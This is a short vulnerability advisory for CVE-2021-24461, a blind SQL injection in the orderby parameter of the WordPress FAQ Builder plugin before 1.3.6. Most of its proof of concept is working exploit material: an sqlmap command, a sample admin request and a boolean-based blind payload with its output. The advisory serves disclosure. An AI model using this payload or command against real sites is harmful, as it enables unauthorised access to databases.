FAQ Builder < 1.3.6 – Authenticated Blind SQL Injections | CVE 2021-24461

Description

The get_faqs() function in the plugin did not use whitelist or validate the orderby parameter before using it in SQL statements passed to the get_results() DB calls, leading to SQL injection issues in the admin dashboard

Proof of Concept

SQLMAP: python sqlmap.py -r r.txt -p orderby  --level 5 --risk 3 --dbms MySQL --technique B --dbs 
With r.txt is GET OR POST requests to sort item in plugin Menu.

GET /wp-admin/admin.php?page=.........&orderby=id--&order=desc HTTP/1.1
Host: ...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ...
Upgrade-Insecure-Requests: 1



SQLMAP OUTPUT:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: page=............&orderby=(SELECT (CASE WHEN (5750=5750) THEN 0x7469746c65 ELSE (SELECT 1570 UNION SELECT 3396) END))&order=asc
---
[22:38:25] [INFO] testing MySQL
[22:38:25] [INFO] confirming MySQL
[22:38:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 8.0.0